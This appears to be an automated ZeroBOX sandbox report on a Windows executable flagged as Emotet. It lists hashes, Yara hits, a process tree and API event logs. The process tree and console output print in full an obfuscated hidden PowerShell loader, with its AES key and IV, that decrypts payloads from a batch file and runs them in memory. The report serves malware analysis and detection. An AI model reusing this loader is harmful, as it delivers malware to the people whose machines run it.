Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 11, 2023, 11:31 a.m.	Oct. 11, 2023, 11:33 a.m.

Size	8.2MB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`6b34210f067d66503d97a9fe6925a4cf`
SHA256	`9c267374acddd2318496505a3902e3e39bcbd83f7adf50dc12ffb3e0b9237db4`
CRC32	`863CC65E`
ssdeep	`196608:ze7cbCwRl0lpOytlRqhFiixMs+eyDoL43N4EIn:zNbCget/M+eyMNNn`
PDB Path	wextract.pdb
Yara	Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature IsPE64 - (no description) CAB_file_format - CAB archive file Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet

pew.EXE "C:\Users\test22\AppData\Local\Temp\pew.EXE"
2080
- cmd.exe cmd /c novmUni.bat
  2188
  - novmUni.bat.exe "novmUni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function ItmBZ($ogric){ $IElVr=[System.Security.Cryptography.Aes]::Create(); $IElVr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $IElVr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $IElVr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wJjorT+Aac5NCh5wrAWQUFcEPUj7wBVKQNjCfdJ0KRw='); $IElVr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Krv5KmIo7w4pmwbM//SeQw=='); $JySGi=$IElVr.CreateDecryptor(); $return_var=$JySGi.TransformFinalBlock($ogric, 0, $ogric.Length); $JySGi.Dispose(); $IElVr.Dispose(); $return_var;}function eaEXK($ogric){ $OPfxB=New-Object System.IO.MemoryStream(,$ogric); $YVwfV=New-Object System.IO.MemoryStream; $oEEGY=New-Object System.IO.Compression.GZipStream($OPfxB, [IO.Compression.CompressionMode]::Decompress); $oEEGY.CopyTo($YVwfV); $oEEGY.Dispose(); $OPfxB.Dispose(); $YVwfV.Dispose(); $YVwfV.ToArray();}function wJchA($ogric,$cRbox){ $GnPPz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$ogric); $HeFrj=$GnPPz.EntryPoint; $HeFrj.Invoke($null, $cRbox);}$TsnzL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\test22\AppData\Local\Temp\IXP000.TMP\novmUni.bat').Split([Environment]::NewLine);foreach ($fSaiO in $TsnzL) { if ($fSaiO.StartsWith('SEROXEN')) { $BJIxm=$fSaiO.Substring(7); break; }}$KjNon=[string[]]$BJIxm.Split('\');$SEncS=eaEXK (ItmBZ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($KjNon[0])));$wCpiI=eaEXK (ItmBZ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($KjNon[1])));wJchA $wCpiI (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));wJchA $SEncS (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    2736

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA Oct. 11, 2023, 11:32 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW Oct. 11, 2023, 11:32 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 11, 2023, 11:32 a.m.			0	0

Command line console output was observed (29 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 11, 2023, 11:24 a.m.	buffer: 1 file(s) copied. console_handle: 0x0000000000000007	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: Unexpected token '(' in expression or statement. console_handle: 0x0000000000000023	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: At line:1 char:272 console_handle: 0x000000000000002f	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: + function ItmBZ($ogric){ $IElVr=[System.Security.Cryptography.Aes]::Create(); console_handle: 0x000000000000003b	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: $IElVr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $IElVr.Padding=[Sys console_handle: 0x0000000000000047	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: tem.Security.Cryptography.PaddingMode]::PKCS7; $IElVr.Key=[System.Convert]::('g console_handle: 0x0000000000000053	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: nirtS46esaBmorF'[-1..-16] -join '')( <<<< 'wJjorT+Aac5NCh5wrAWQUFcEPUj7wBVKQNjC console_handle: 0x000000000000005f	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: fdJ0KRw='); $IElVr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')( console_handle: 0x000000000000006b	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: 'Krv5KmIo7w4pmwbM//SeQw=='); $JySGi=$IElVr.CreateDecryptor(); $return_var=$JySG console_handle: 0x0000000000000077	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: i.TransformFinalBlock($ogric, 0, $ogric.Length); $JySGi.Dispose(); $IElVr.Dispo console_handle: 0x0000000000000083	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: se(); $return_var;}function eaEXK($ogric){ $OPfxB=New-Object System.IO.MemorySt console_handle: 0x000000000000008f	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: ream(,$ogric); $YVwfV=New-Object System.IO.MemoryStream; $oEEGY=New-Object Syst console_handle: 0x000000000000009b	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: em.IO.Compression.GZipStream($OPfxB, [IO.Compression.CompressionMode]::Decompre console_handle: 0x00000000000000a7	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: ss); $oEEGY.CopyTo($YVwfV); $oEEGY.Dispose(); $OPfxB.Dispose(); $YVwfV.Dispose( console_handle: 0x00000000000000b3	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: ); $YVwfV.ToArray();}function wJchA($ogric,$cRbox){ $GnPPz=[System.Reflection.A console_handle: 0x00000000000000bf	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: ssembly]::('daoL'[-1..-4] -join '')([byte[]]$ogric); $HeFrj=$GnPPz.EntryPoint; console_handle: 0x00000000000000cb	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: $HeFrj.Invoke($null, $cRbox);}$TsnzL=[System.IO.File]::('txeTllAdaeR'[-1..-11] console_handle: 0x00000000000000d7	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: -join '')('C:\Users\test22\AppData\Local\Temp\IXP000.TMP\novmUni.bat').Split([E console_handle: 0x00000000000000e3	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: nvironment]::NewLine);foreach ($fSaiO in $TsnzL) { if ($fSaiO.StartsWith('SEROX console_handle: 0x00000000000000ef	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: EN')) { $BJIxm=$fSaiO.Substring(7); break; }}$KjNon=[string[]]$BJIxm.Split('\') console_handle: 0x00000000000000fb	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: ;$SEncS=eaEXK (ItmBZ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($KjNon[ console_handle: 0x0000000000000107	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: 0])));$wCpiI=eaEXK (ItmBZ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($K console_handle: 0x0000000000000113	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: jNon[1])));wJchA $wCpiI (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsT console_handle: 0x000000000000011f	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: nnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));wJchA $ console_handle: 0x000000000000012b	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: SEncS (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', ' console_handle: 0x0000000000000137	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN')); console_handle: 0x0000000000000143	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: + CategoryInfo : ParserError: ((:String) [], ParentContainsErrorR console_handle: 0x000000000000014f	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: ecordException console_handle: 0x000000000000015b	1	1
WriteConsoleW Oct. 11, 2023, 11:32 a.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken console_handle: 0x0000000000000167	1	1

Uses Windows APIs to generate a cryptographic key (44 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d3f40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000435cb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000435cb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000435cb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509990 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509990 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a1e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a1e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a1e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a2c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a2c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a6b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a6b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b519b10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b519b10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b519bf0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b519bf0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d3df0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 11, 2023, 11:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d3df0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 11, 2023, 11:32 a.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

Allocates read-write-execute memory (usually to unpack itself) (50 out of 189 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002500000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000025b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2381000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25fe000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25fe000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25ff000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2600000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2600000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2600000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2600000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2600000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2601000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2601000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2601000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2601000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef25fe000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00022000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00012000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000025b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000025b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00023000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
